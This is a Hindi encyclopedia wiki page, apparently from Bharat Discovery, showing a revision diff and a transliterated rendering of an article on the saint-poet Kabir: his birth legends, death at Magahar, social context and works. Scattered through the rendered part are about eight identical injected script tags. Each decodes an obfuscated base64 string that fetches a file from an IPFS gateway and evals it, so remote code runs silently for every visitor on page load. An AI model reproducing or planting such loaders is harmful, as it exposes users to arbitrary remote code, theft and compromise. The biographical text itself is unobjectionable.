Difference between revisions of "कबीर"

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][quality revision]
m (Text replacement - "विद्वान " to "विद्वान् ")
 
(134 intermediate revisions by 12 users not shown)
Line 1: Line 1:
 +
{{चयनित लेख}}
 +
{{कबीर विषय सूची}}
 +
{| style="background:transparent; float:right"
 +
|-
 +
|
 
{{सूचना बक्सा साहित्यकार
 
{{सूचना बक्सा साहित्यकार
|चित्र=Kabirdas.jpg
+
|चित्र=Sant-Kabirdas.jpg
|जन्म=
+
|चित्र का नाम=संत कबीरदास
|जन्म भूमि=लहरतारा ताल, [[काशी]]
+
|पूरा नाम=संत कबीरदास
|अविभावक=नीरु और नीमा
+
|अन्य नाम=कबीरा, कबीर साहब
 +
|जन्म=सन 1398 (लगभग)
 +
|जन्म भूमि=[[लहरतारा|लहरतारा ताल]], [[काशी]]
 +
|अभिभावक=
 +
|पालक माता-पिता=नीरु और नीमा
 
|पति/पत्नी=लोई
 
|पति/पत्नी=लोई
|संतान=कमाल, कमाली
+
|संतान=कमाल (पुत्र), कमाली (पुत्री)
|कर्म भूमि=काशी, [[बनारस]]
+
|कर्म भूमि=[[काशी]], [[बनारस]]
 
|कर्म-क्षेत्र=समाज सुधारक कवि
 
|कर्म-क्षेत्र=समाज सुधारक कवि
|मृत्यु=मगहर में 120 वर्ष की आयु में
+
|मृत्यु=सन 1518 (लगभग)
|मुख्य रचनाएँ=साखी, सबद और रमैनी
+
|मृत्यु स्थान=[[मगहर]], [[उत्तर प्रदेश]]
|विषय=
+
|मुख्य रचनाएँ=[[साखी]], [[सबद]] और [[रमैनी]]
 +
|विषय=सामाजिक
 
|भाषा=[[अवधी भाषा|अवधी]], सधुक्कड़ी, पंचमेल खिचड़ी
 
|भाषा=[[अवधी भाषा|अवधी]], सधुक्कड़ी, पंचमेल खिचड़ी
 
|विद्यालय=
 
|विद्यालय=
|पुरुस्कार-उपाधि=
+
|शिक्षा=निरक्षर 
 +
|पुरस्कार-उपाधि=
 +
|प्रसिद्धि=
 
|विशेष योगदान=
 
|विशेष योगदान=
|नागरिकता=
+
|नागरिकता=भारतीय
|संबंधित लेख=
+
|संबंधित लेख=[[कबीर ग्रंथावली]], [[कबीरपंथ]], [[बीजक]], [[कबीर के दोहे]] आदि 
 
|शीर्षक 1=
 
|शीर्षक 1=
 
|पाठ 1=
 
|पाठ 1=
 
|शीर्षक 2=
 
|शीर्षक 2=
 
|पाठ 2=
 
|पाठ 2=
|अन्य जानकारी=
+
|अन्य जानकारी=कबीर का कोई प्रामाणिक जीवनवृत्त आज तक नहीं मिल सका, जिस कारण इस विषय में निर्णय करते समय, अधिकतर जनश्रुतियों, सांप्रदायिक ग्रंथों और विविध उल्लेखों तथा इनकी अभी तक उपलब्ध कतिपय फुटकल रचनाओं के अंत:साध्य का ही सहारा लिया जाता रहा है।
 
|बाहरी कड़ियाँ=
 
|बाहरी कड़ियाँ=
 +
|अद्यतन=
 
}}
 
}}
 +
|-
 +
|  style="width:18em; float:right;"|
 +
<div style="border:thin solid #a7d7f9; margin:10px">
 +
{|  align="center"
 +
! कबीर की रचनाएँ
 +
|}
 +
<div style="height: 250px; overflow:auto; overflow-x: hidden; width:99%">
 +
{{कबीर की रचनाएँ}}
 +
</div></div>
 +
|}
 +
'''कबीर''' ([[अंग्रेज़ी]]: ''Kabir'', जन्म- सन् 1398 [[काशी]] - मृत्यु- सन् 1518 [[मगहर]]) का नाम कबीरदास, कबीर साहब एवं संत कबीर जैसे रूपों में भी प्रसिद्ध है। ये [[मध्यकालीन भारत]] के स्वाधीनचेता महापुरुष थे और इनका परिचय, प्राय: इनके जीवनकाल से ही, इन्हें सफल साधक, भक्त कवि, मतप्रवर्तक अथवा समाज सुधारक मानकर दिया जाता रहा है तथा इनके नाम पर [[कबीरपंथ]] नामक संप्रदाय भी प्रचलित है। कबीरपंथी इन्हें एक अलौकिक अवतारी पुरुष मानते हैं और इनके संबंध में बहुत-सी चमत्कारपूर्ण कथाएँ भी सुनी जाती हैं। इनका कोई प्रामाणिक जीवनवृत्त आज तक नहीं मिल सका, जिस कारण इस विषय में निर्णय करते समय, अधिकतर [[जनश्रुति|जनश्रुतियों]], सांप्रदायिक ग्रंथों और विविध उल्लेखों तथा इनकी अभी तक उपलब्ध कतिपय फुटकल रचनाओं के अंत:साध्य का ही सहारा लिया जाता रहा है। फलत: इस संबंध में तथा इनके मत के भी विषय में बहुत कुछ मतभेद पाया जाता है।
 +
<blockquote>संत कबीर दास [[हिंदी साहित्य]] के [[भक्ति काल]] के इकलौते ऐसे कवि हैं, जो आजीवन समाज और लोगों के बीच व्याप्त आडंबरों पर कुठाराघात करते रहे। वह कर्म प्रधान समाज के पैरोकार थे और इसकी झलक उनकी रचनाओं में साफ़ झलकती है। लोक कल्याण हेतु ही मानो उनका समस्त जीवन था। कबीर को वास्तव में एक सच्चे विश्व-प्रेमी का अनुभव था। कबीर की सबसे बड़ी विशेषता उनकी प्रतिभा में अबाध गति और अदम्य प्रखरता थी। समाज में कबीर को जागरण युग का अग्रदूत कहा जाता है।</blockquote>
 +
[[हज़ारी प्रसाद द्विवेदी|डॉ. हज़ारी प्रसाद द्विवेदी]] ने लिखा है कि साधना के क्षेत्र में वे युग-युग के गुरु थे, उन्होंने संत काव्य का पथ प्रदर्शन कर [[साहित्य]] क्षेत्र में नव निर्माण किया था।
 +
==जीवन परिचय==
 +
{{Main|कबीर का जीवन परिचय}}
 +
====जन्म====
 +
* कबीरदास के जन्म के संबंध में अनेक [[किंवदंती|किंवदन्तियाँ]] हैं। कबीर पन्थियों की मान्यता है कि कबीर का जन्म काशी में [[लहरतारा]] तालाब में उत्पन्न [[कमल]] के मनोहर पुष्प के ऊपर बालक के रूप में हुआ। कुछ लोगों का कहना है कि वे जन्म से मुसलमान थे और युवावस्था में स्वामी [[रामानंद]] के प्रभाव से उन्हें [[हिन्दू धर्म]] की बातें मालूम हुईं। एक दिन, एक पहर रात रहते ही कबीर पंचगंगा घाट की सीढ़ियों पर गिर पड़े। रामानन्द जी [[गंगा नदी|गंगा]] स्नान करने के लिये सीढ़ियाँ उतर रहे थे कि तभी उनका पैर कबीर के शरीर पर पड़ गया। उनके मुख से तत्काल 'राम-राम' शब्द निकल पड़ा। उसी राम को कबीर ने दीक्षा-मन्त्र मान लिया और रामानन्द जी को अपना गुरु स्वीकार कर लिया। कबीर के ही शब्दों में-
 +
<blockquote><poem>हम कासी में प्रकट भये हैं,
 +
रामानन्द चेताये।</poem></blockquote>
 +
[[चित्र:Sant kabir das.jpg|thumb|कबीरदास|200px|left]]
 +
* कबीरपंथियों में इनके जन्म के विषय में यह पद्य प्रसिद्ध है-
 +
<blockquote><poem>चौदह सौ पचपन साल गए, चन्द्रवार एक ठाठ ठए।
 +
जेठ सुदी बरसायत को पूरनमासी तिथि प्रगट भए॥
 +
घन गरजें दामिनि दमके बूँदे बरषें झर लाग गए।
 +
लहर तलाब में कमल खिले तहँ कबीर भानु प्रगट भए॥<ref>{{cite web |url=http://www.hindisamay.com/kabir-granthawali/kabirgranth-prastawna.html |title=कबीर ग्रंथावली |accessmonthday=2 अगस्त |accessyear=2011 |last= |first= |authorlink= |format=एच.टी.एम.एल |publisher=हिंदी समय डॉट कॉम |language=हिंदी }}</ref></poem></blockquote>
 +
====मृत्यु====
 +
कबीर ने [[काशी]] के पास [[मगहर]] में देह त्याग दी। ऐसी मान्यता है कि मृत्यु के बाद उनके शव को लेकर विवाद उत्पन्न हो गया था। [[हिन्दू]] कहते थे कि उनका अंतिम संस्कार हिन्दू रीति से होना चाहिए और मुस्लिम कहते थे कि मुस्लिम रीति से। इसी विवाद के चलते जब उनके शव पर से चादर हट गई, तब लोगों ने वहाँ फूलों का ढेर पड़ा देखा। बाद में वहाँ से आधे [[फूल]] हिन्दुओं ने ले लिए और आधे [[मुसलमान|मुसलमानों]] ने। मुसलमानों ने मुस्लिम रीति से और हिंदुओं ने हिंदू रीति से उन फूलों का अंतिम संस्कार किया। मगहर में कबीर की समाधि है। जन्म की भाँति इनकी मृत्यु तिथि एवं घटना को लेकर भी मतभेद हैं किन्तु अधिकतर विद्वान् उनकी मृत्यु संवत 1575 विक्रमी (सन 1518 ई.) मानते हैं, लेकिन बाद के कुछ इतिहासकार उनकी मृत्यु 1448 को मानते हैं।<ref>{{cite web |url=http://hindi.webdunia.com/religion/religion/personality/0906/06/1090606073_1.htm |title=संत कवि कबीर |accessmonthday=4 अगस्त |accessyear=2011 |last= |first= |authorlink= |format=एच.टी.एम.एल |publisher=वेब दुनिया |language=हिंदी }}</ref>
  
महात्मा कबीरदास के जन्म के समय में भारत की राजनीतिक, सामाजिक, आर्थिक एवं धार्मिक दशा शोचनीय थी। एक तरफ मुसलमान शासकों की धर्मांन्धता से जनता परेशान थी और दूसरी तरफ हिन्दू धर्म के कर्मकांड, विधान और पाखंड से धर्म का ह्रास हो रहा था। जनता में भक्ति- भावनाओं का सर्वथा अभाव था। पंडितों के पाखंडपूर्ण वचन समाज में फैले थे। ऐसे संघर्ष के समय में, कबीरदास का प्रार्दुभाव हुआ।
+
==समकालीन सामाजिक परिस्थिति==
{{tocleft}}
+
{{Main|कबीर का समकालीन समाज}}
==जीवन परिचय==
+
महात्मा कबीरदास के जन्म के समय में [[भारत]] की राजनीतिक, सामाजिक, आर्थिक एवं धार्मिक दशा शोचनीय थी। एक तरफ मुसलमान शासकों की धर्मांन्धता से जनता परेशान थी और दूसरी तरफ [[हिन्दू धर्म]] के कर्मकांड, विधान और पाखंड से [[धर्म]] का ह्रास हो रहा था। जनता में भक्ति- भावनाओं का सर्वथा अभाव था। पंडितों के पाखंडपूर्ण वचन समाज में फैले थे। ऐसे संघर्ष के समय में, कबीरदास का प्रार्दुभाव हुआ। जिस [[युग]] में कबीर आविर्भूत हुए थे, उसके कुछ ही पूर्व [[भारत|भारतवर्ष]] के इतिहास में एक अभूतपूर्व घटना घट चुकी थी। यह घटना [[इस्लाम]] जैसे एक सुसंगठित सम्प्रदाय का आगमन था। इस घटना ने भारतीय धर्म–मत और समाज व्यवस्था को बुरी तरह से झकझोर दिया था। उसकी अपरिवर्तनीय समझी जाने वाली जाति–व्यवस्था को पहली बार ज़बर्दस्त ठोकर लगी थी। सारा भारतीय वातावरण संक्षुब्ध था। बहुत–से पंडितजन इस संक्षोभ का कारण खोजने में व्यस्त थे और अपने–अपने ढंग पर भारतीय समाज और धर्म–मत को सम्भालने का प्रयत्न कर रहे थे।
कबीरदास के जन्म के संबंध में अनेक किंवदन्तियाँ हैं। कुछ लोगों के अनुसार वे गुरु रामानन्द स्वामी के आशीर्वाद से [[काशी]] की एक विधवा ब्राह्मणी के गर्भ से उत्पन्न हुए थे। ब्राह्मणी उस नवजात शिशु को लहरतारा ताल के पास फेंक आयी। उसे नीरु नाम का जुलाहा अपने घर ले आया। उनकी माता का नाम 'नीमा' था। उसी ने उसका पालन-पोषण किया। बाद में यही बालक कबीर कहलाया। एक जगह कबीरदास ने कहा है :-
 
<poem>
 
जाति जुलाहा नाम कबीरा
 
बनि बनि फिरो उदासी।
 
</poem>
 
कबीर पन्थियों की मान्यता है कि कबीर का जन्म काशी में लहरतारा तालाब में उत्पन्न कमल के मनोहर पुष्प के ऊपर बालक के रूप में हुआ। कुछ लोगों का कहना है कि वे जन्म से मुसलमान थे और युवावस्था में स्वामी [[रामानंद]] के प्रभाव से उन्हें हिन्दू धर्म की बातें मालूम हुईं। एक दिन, एक पहर रात रहते ही कबीर पंचगंगा घाट की सीढ़ियों पर गिर पड़े। रामानन्द जी [[गंगा नदी|गंगा]] स्नान करने के लिये सीढ़ियाँ उतर रहे थे कि तभी उनका पैर कबीर के शरीर पर पड़ गया। उनके मुख से तत्काल `राम-राम' शब्द निकल पड़ा। उसी राम को कबीर ने दीक्षा-मन्त्र मान लिया और रामानन्द जी को अपना गुरु स्वीकार कर लिया। कबीर के ही शब्दों में-
 
<poem>
 
हम कासी में प्रकट भये हैं,
 
रामानन्द चेताये।
 
</poem>
 
 
 
महात्मा कबीर के जन्म के विषय में भिन्न- भिन्न मत हैं। कबीरदास ने स्वयं को [[काशी]] का जुलाहा कहा है। कबीरपंथ के अनुसार उनका निवासस्थान काशी था। बाद में कबीरदास काशी छोड़कर मगहर चले गए थे। ऐसा उन्होंने स्वयं कहा हैं :-
 
<poem>
 
सकल जनम शिवपुरी गंवाया।
 
मरती बार मगहर उठि आया।।
 
ऐसा कहा जाता है कि कबीरदास का सम्पूर्ण जीवन काशी में ही बीता, किन्तु वह अन्त समय मगहर चले गए थे।
 
अब कहु राम कवन गति मोरी।
 
तजीले बनारस मति भई मोरी।।
 
कबीर का विवाह कन्या "लोई' के साथ हुआ था। जनश्रुति के अनुसार उन्हें एक पुत्र कमाल तथा पुत्री कमाली थी। कबीर पढ़े-लिखे नहीं थे-
 
मसि कागद छूवो नहीं, क़लम गही नहिं हाथ।   
 
कबीर का पुत्र कमाल उनके मत का विरोधी था।
 
बूड़ा बंस कबीर का, उपजा पूत कमाल।
 
हरि का सिमरन छोडि के, घर ले आया माल।
 
</poem>
 
 
 
==रचनायें==
 
{| id="textboxrt"
 
|
 
यह  ऐसा  संसार  है,  जैसा  सेंबल  फूल ।
 
 
 
दिन दस के व्यौहार को, झूठे रंग न भूलि ॥
 
  
- '''कबीर''' (कबीर ग्रथावली, पृ. 21)
+
{{seealso|कबीरपंथ|सूफ़ी आन्दोलन|भक्ति आन्दोलन}}
----
+
==साहित्यिक परिचय==
काजल  केरी  कोठरी,  काजल ही का कोट ।
+
कबीर सन्त कवि और समाज सुधारक थे। उनकी कविता का एक-एक शब्द पाखंडियों के पाखंडवाद और धर्म के नाम पर ढोंग व स्वार्थपूर्ति की निजी दुकानदारियों को ललकारता हुआ आया और असत्य व अन्याय की पोल खोल धज्जियाँ उड़ाता चला गया। कबीर का अनुभूत सत्य अंधविश्वासों पर बारूदी पलीता था। सत्य भी ऐसा जो आज तक के परिवेश पर सवालिया निशान बन चोट भी करता है और खोट भी निकालता है।
  
बलिहारी ता दास की, जे रहै राम की ओट ॥
+
<div align="center">'''[[कबीर का जीवन परिचय|आगे जाएँ »]]'''</div>
  
- '''कबीर''' (कबीर ग्रथावली, पृ. 50)
 
----
 
हम देखत जग जात हैं, जब देखत हम जांह ।
 
 
ऐसा  कोई  ना  मिलै,  पकड़ि  छुड़ावै  बांह ॥
 
 
- '''कबीर''' (कबीर ग्रथावली, पृ. 67)
 
|}
 
कबीरदास ने हिन्दू-मुसलमान का भेद मिटा कर हिन्दू-भक्तों तथा मुसलमान फकीरों का सत्संग किया और दोनों की अच्छी बातों को हृदयांगम कर लिया। संत कबीर ने स्वयं ग्रंथ नहीं लिखे, मुँह से बोले और उनके शिष्यों ने उसे लिख लिया। कबीरदास अनपढ़ थे। कबीरदास के समस्त विचारों में राम-नाम की महिमा प्रतिध्वनित होती है। वे एक ही ईश्वर को मानते थे और कर्मकाण्ड के घोर विरोधी थे। अवतार, मूर्त्ति, रोज़ा, [[ईद-उल-फ़ितर|ईद]], मस्ज़िद, मंदिर आदि को वे नहीं मानते थे। कबीर के नाम से मिले ग्रंथों की संख्या भिन्न-भिन्न लेखों के अनुसार भिन्न-भिन्न है। कबीर की वाणी का संग्रह `बीजक' के नाम से प्रसिद्ध है। इसके तीन भाग हैं-
 
#रमैनी
 
#सबद
 
#साखी
 
==भाषा==
 
बीजक पंजाबी, राजस्थानी, खड़ी बोली, [[अवधी भाषा|अवधी]], पूरबी, [[ब्रजभाषा]] आदि कई भाषाओं की खिचड़ी है। कबीरदास ने बोलचाल की भाषा का ही प्रयोग किया है।
 
  
==जीवन दर्शन==
 
कबीर परमात्मा को मित्र, माता, पिता और पति के रूप में देखते हैं। वे कहते हैं-
 
'''हरिमोर पिउ, मैं राम की बहुरिया ।''' तो कभी कहते हैं-
 
'''हरि जननी मैं बालक तोरा।''' उस समय हिंदु जनता पर मुस्लिम आतंक का कहर छाया हुआ था। कबीर ने अपने पंथ को इस ढंग से सुनियोजित किया जिससे मुस्लिम मत की ओर झुकी हुई जनता सहज ही इनकी अनुयायी हो गयी। उन्होंने अपनी भाषा सरल और सुबोध रखी ताकि वह आम आदमी तक पहुँच सके। इससे दोनों सम्प्रदायों के परस्पर मिलन में सुविधा हुई। इनके पंथ मुसलमान-संस्कृति और गोभक्षण के विरोधी थे। कबीर को शांतिमय जीवन प्रिय था और वे अहिंसा, सत्य, सदाचार आदि गुणों के प्रशंसक थे। अपनी सरलता, साधु स्वभाव तथा संत प्रवृत्ति के कारण आज विदेशों में भी उनका आदर होता है।
 
----
 
वृद्धावस्था में यश और कीर्त्ति ने उन्हें बहुत कष्ट दिया। उसी हालत में उन्होंने [[बनारस]] छोड़ा और आत्मनिरीक्षण तथा आत्मपरीक्षण करने के लिये देश के विभिन्न भागों की यात्राएँ कीं। इसी क्रम में वे कालिंजर ज़िले के पिथौराबाद शहर में पहुँचे। वहाँ रामकृष्ण का छोटा सा मन्दिर था। वहाँ के संत भगवान गोस्वामी जिज्ञासु साधक थे किंतु उनके तर्कों का अभी तक पूरी तरह समाधान नहीं हुआ था। संत कबीर से उनका विचार-विनिमय हुआ। कबीर की एक साखी ने उन के मन पर गहरा असर किया-
 
<poem>
 
बन ते भागा बिहरे पड़ा, करहा अपनी बान।
 
करहा बेदन कासों कहे, को करहा को जान।।
 
मूर्त्ति पूजा को लक्ष्य करते हुए कबीरदास ने कहा है-
 
पाहन पूजे हरि मिलैं, तो मैं पूजौं पहार।
 
या ते तो चाकी भली, जासे पीसी खाय संसार।।
 
119 वर्ष की अवस्था में उन्होंने मगहर में देह त्याग किया।
 
</poem>
 
  
==सम्बंधित लिंक==
+
{{लेख प्रगति|आधार=|प्रारम्भिक= |माध्यमिक=माध्यमिक2 |पूर्णता= |शोध= }}
{{भारत के कवि}}
+
==टीका टिप्पणी और संदर्भ==
[[Category:साहित्य_कोश]]
+
<references/>
[[Category:पद्य साहित्य]]
+
* [[अनिल चौधरी]] द्वारा निर्देशित दूरदर्शन पर बना धारावाहिक "कबीर" एक उत्कृष्ट रचना है।
[[Category:निर्गुण भक्ति]]
+
* [[हज़ारी प्रसाद द्विवेदी]] की रचना "[[कबीर -हज़ारी प्रसाद द्विवेदी|कबीर]]" संत कबीर पर सबसे उत्कृष्ट रचना है।
[[Category:कवि]]
+
*[http://www.rachanakar.org/2009/11/blog-post_17.html प्रोफेसर महावीर सरन जैन का आलेख : कबीर की साधना]
[[Category:जीवनी साहित्य]]
+
==बाहरी कड़ियाँ==
[[Category:प्रसिद्ध व्यक्तित्व कोश]]
+
; यू-ट्यूब लिंक  
[[Category:प्रसिद्ध व्यक्तित्व]]
+
*[http://www.youtube.com/watch?v=vbMAjo_Ei3Y&feature=player_embedded मगहर का विडियो (यू ट्यूब पर)]
 +
*[http://www.youtube.com/watch?v=cNl_pK0u9-k झीनी चदरिया (आवाज- पं. कुमार गंधर्व)]
 +
*[http://www.youtube.com/watch?v=f5Vlsdv_z0s सुनता है गुरु ज्ञानी (आवाज- पं. कुमार गंधर्व)]
 +
*[http://www.youtube.com/watch?v=EHy0r12mfcA निर्भय निर्गुण गुन रे गाऊंगा (आवाज- पं. कुमार गंधर्व और विदुषी वसुंधरा कोमकली)]
 +
*[http://www.youtube.com/watch?v=mKc3gy-SHmE उड़ जायेगा हंस अकेला (आवाज- पं. कुमार गंधर्व)]
 +
==संबंधित लेख==
 +
{{कबीर}}{{भारत के कवि}}{{समाज सुधारक}}
 +
[[Category:कवि]][[Category:जीवनी साहित्य]][[Category:निर्गुण भक्ति]][[Category:प्रसिद्ध व्यक्तित्व]][[Category:प्रसिद्ध व्यक्तित्व कोश]][[Category:चरित कोश]][[Category:साहित्य कोश]][[Category:समाज सुधारक]][[Category:भक्ति काल]][[Category:कबीर]][[Category:दार्शनिक]][[Category:चयनित लेख]]
 
__INDEX__
 
__INDEX__
 +
__NOTOC__

Latest revision as of 14:25, 6 July 2017

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

kabir vishay soochi
kabir
poora nam sant kabiradas
any nam kabira, kabir sahab
janm san 1398 (lagabhag)
janm bhoomi laharatara tal, kashi
mrityu san 1518 (lagabhag)
mrityu sthan magahar, uttar pradesh
palak mata-pita niru aur nima
pati/patni loee
santan kamal (putr), kamali (putri)
karm bhoomi kashi, banaras
karm-kshetr samaj sudharak kavi
mukhy rachanaean sakhi, sabad aur ramaini
vishay samajik
bhasha avadhi, sadhukk di, panchamel khich di
shiksha nirakshar
nagarikata bharatiy
sanbandhit lekh kabir granthavali, kabirapanth, bijak, kabir ke dohe adi
any janakari kabir ka koee pramanik jivanavritt aj tak nahian mil saka, jis karan is vishay mean nirnay karate samay, adhikatar janashrutiyoan, saanpradayik granthoan aur vividh ullekhoan tatha inaki abhi tak upalabdh katipay phutakal rachanaoan ke aant:sadhy ka hi sahara liya jata raha hai.
inhean bhi dekhean kavi soochi, sahityakar soochi
kabir ki rachanaean
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

kabir (aangrezi: Kabir, janm- sanh 1398 kashi - mrityu- sanh 1518 magahar) ka nam kabiradas, kabir sahab evan sant kabir jaise roopoan mean bhi prasiddh hai. ye madhyakalin bharat ke svadhinacheta mahapurush the aur inaka parichay, pray: inake jivanakal se hi, inhean saphal sadhak, bhakt kavi, matapravartak athava samaj sudharak manakar diya jata raha hai tatha inake nam par kabirapanth namak sanpraday bhi prachalit hai. kabirapanthi inhean ek alaukik avatari purush manate haian aur inake sanbandh mean bahut-si chamatkarapoorn kathaean bhi suni jati haian. inaka koee pramanik jivanavritt aj tak nahian mil saka, jis karan is vishay mean nirnay karate samay, adhikatar janashrutiyoan, saanpradayik granthoan aur vividh ullekhoan tatha inaki abhi tak upalabdh katipay phutakal rachanaoan ke aant:sadhy ka hi sahara liya jata raha hai. phalat: is sanbandh mean tatha inake mat ke bhi vishay mean bahut kuchh matabhed paya jata hai.

sant kabir das hiandi sahity ke bhakti kal ke ikalaute aise kavi haian, jo ajivan samaj aur logoan ke bich vyapt adanbaroan par kutharaghat karate rahe. vah karm pradhan samaj ke pairokar the aur isaki jhalak unaki rachanaoan mean saf jhalakati hai. lok kalyan hetu hi mano unaka samast jivan tha. kabir ko vastav mean ek sachche vishv-premi ka anubhav tha. kabir ki sabase b di visheshata unaki pratibha mean abadh gati aur adamy prakharata thi. samaj mean kabir ko jagaran yug ka agradoot kaha jata hai.

d aau. hazari prasad dvivedi ne likha hai ki sadhana ke kshetr mean ve yug-yug ke guru the, unhoanne sant kavy ka path pradarshan kar sahity kshetr mean nav nirman kiya tha.

jivan parichay

  1. REDIRECTsaancha:mukhy

janm

  • kabiradas ke janm ke sanbandh mean anek kianvadantiyaan haian. kabir panthiyoan ki manyata hai ki kabir ka janm kashi mean laharatara talab mean utpann kamal ke manohar pushp ke oopar balak ke roop mean hua. kuchh logoan ka kahana hai ki ve janm se musalaman the aur yuvavastha mean svami ramanand ke prabhav se unhean hindoo dharm ki batean maloom hueean. ek din, ek pahar rat rahate hi kabir panchaganga ghat ki sidhiyoan par gir p de. ramanand ji ganga snan karane ke liye sidhiyaan utar rahe the ki tabhi unaka pair kabir ke sharir par p d gaya. unake mukh se tatkal 'ram-ram' shabd nikal p da. usi ram ko kabir ne diksha-mantr man liya aur ramanand ji ko apana guru svikar kar liya. kabir ke hi shabdoan mean-

ham kasi mean prakat bhaye haian,
ramanand chetaye.

thumb|kabiradas|200px|left

  • kabirapanthiyoan mean inake janm ke vishay mean yah pady prasiddh hai-

chaudah sau pachapan sal ge, chandravar ek thath the.
jeth sudi barasayat ko pooranamasi tithi pragat bhe॥
ghan garajean damini damake booande barashean jhar lag ge.
lahar talab mean kamal khile tahan kabir bhanu pragat bhe॥[1]

mrityu

kabir ne kashi ke pas magahar mean deh tyag di. aisi manyata hai ki mrityu ke bad unake shav ko lekar vivad utpann ho gaya tha. hindoo kahate the ki unaka aantim sanskar hindoo riti se hona chahie aur muslim kahate the ki muslim riti se. isi vivad ke chalate jab unake shav par se chadar hat gee, tab logoan ne vahaan phooloan ka dher p da dekha. bad mean vahaan se adhe phool hinduoan ne le lie aur adhe musalamanoan ne. musalamanoan ne muslim riti se aur hianduoan ne hiandoo riti se un phooloan ka aantim sanskar kiya. magahar mean kabir ki samadhi hai. janm ki bhaanti inaki mrityu tithi evan ghatana ko lekar bhi matabhed haian kintu adhikatar vidvanh unaki mrityu sanvat 1575 vikrami (san 1518 ee.) manate haian, lekin bad ke kuchh itihasakar unaki mrityu 1448 ko manate haian.[2]

samakalin samajik paristhiti

  1. REDIRECTsaancha:mukhy

mahatma kabiradas ke janm ke samay mean bharat ki rajanitik, samajik, arthik evan dharmik dasha shochaniy thi. ek taraph musalaman shasakoan ki dharmaanndhata se janata pareshan thi aur doosari taraph hindoo dharm ke karmakaand, vidhan aur pakhand se dharm ka hras ho raha tha. janata mean bhakti- bhavanaoan ka sarvatha abhav tha. panditoan ke pakhandapoorn vachan samaj mean phaile the. aise sangharsh ke samay mean, kabiradas ka prardubhav hua. jis yug mean kabir avirbhoot hue the, usake kuchh hi poorv bharatavarsh ke itihas mean ek abhootapoorv ghatana ghat chuki thi. yah ghatana islam jaise ek susangathit sampraday ka agaman tha. is ghatana ne bharatiy dharm–mat aur samaj vyavastha ko buri tarah se jhakajhor diya tha. usaki aparivartaniy samajhi jane vali jati–vyavastha ko pahali bar zabardast thokar lagi thi. sara bharatiy vatavaran sankshubdh tha. bahut–se panditajan is sankshobh ka karan khojane mean vyast the aur apane–apane dhang par bharatiy samaj aur dharm–mat ko sambhalane ka prayatn kar rahe the.

  1. REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sahityik parichay

kabir sant kavi aur samaj sudharak the. unaki kavita ka ek-ek shabd pakhandiyoan ke pakhandavad aur dharm ke nam par dhoang v svarthapoorti ki niji dukanadariyoan ko lalakarata hua aya aur asaty v anyay ki pol khol dhajjiyaan u data chala gaya. kabir ka anubhoot saty aandhavishvasoan par baroodi palita tha. saty bhi aisa jo aj tak ke parivesh par savaliya nishan ban chot bhi karata hai aur khot bhi nikalata hai.

age jaean »



panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

tika tippani aur sandarbh

  1. kabir granthavali (hiandi) (ech.ti.em.el) hiandi samay d aaut k aaum. abhigaman tithi: 2 agast, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. sant kavi kabir (hiandi) (ech.ti.em.el) veb duniya. abhigaman tithi: 4 agast, 2011.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

yoo-tyoob liank

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>